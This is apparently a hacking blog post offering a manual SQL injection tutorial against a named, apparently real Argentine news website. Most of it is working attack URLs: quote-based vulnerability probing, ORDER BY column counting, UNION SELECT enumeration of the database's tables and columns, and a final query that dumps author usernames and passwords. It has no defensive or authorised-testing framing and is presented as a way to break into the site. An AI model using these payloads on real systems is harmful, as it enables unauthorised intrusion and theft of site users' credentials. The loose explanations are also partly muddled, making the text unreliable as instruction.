How to hack website Manual Sqli injection - Learn | Computer Trick'S

welcome to n0bz.com today i gonna show you how to hack website using manual sqli injection ..

requirement

Hack Bar

and we need sqli injection website i have this one

http://www.cgcym.org.ar/noticia.php?id=18

now check this website vuln or not put ' in the end url like

http://www.cgcym.org.ar/noticia.php?id=18'

if you got error its mean this website is Vulnerability

we got error this mean we can inject this website using sqli injection :D :D

next we need to find order columns number . using order by (Number) command like this order by 1--+-

http://www.cgcym.org.ar/noticia.php?id=18+order+by+1--+- (no error)

http://www.cgcym.org.ar/noticia.php?id=18+order+by+2 (no error)
http://www.cgcym.org.ar/noticia.php?id=18+order+by+3 (no error)
http://www.cgcym.org.ar/noticia.php?id=18+order+by+10 (got error)

its mean it has 9 columns :)
now go to Union base and enter count numbers

next fine table numbers .. for this using this command

http://www.cgcym.org.ar/noticia.php?id=-18+union+select+1,2,3,4,5,6,7,8,9--+-

Table number is 8 , 3 , 4 replace table number and if you want version then replace 3 and type version() , for database database()

next we need tables for table replace 3 and type group_concat(table_name) Like this

http://www.cgcym.org.ar/noticia.php?id=-18+union+select+1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--+-

here its all database tables .. now next we need to find coulmns for columns replace columns with table like this

http://www.cgcym.org.ar/noticia.php?id=-18+union+select+1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=psl_author--+-

select table name and go to sqli basics and click mysql char

http://www.cgcym.org.ar/noticia.php?id=18+union+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=CHAR(112, 115, 108, 95, 97, 117, 116, 104, 111, 114)--+-

next for data dumping replace column_name with your authot_realname for multiple data dumping we used 0x3a now we use for user and password

group_concat(author_realname,0x3a,password) in the end we type table name like this

http://www.cgcym.org.ar/noticia.php?id=18+union+select+1,2,group_concat(author_realname,0x3a,password),4,5,6,7,8,9+from+psl_author--+-

1st one is user name and 2nd one is password :D now website is fully inject :) i hope you like this Thanks for Visiting for more details Must watch Video :)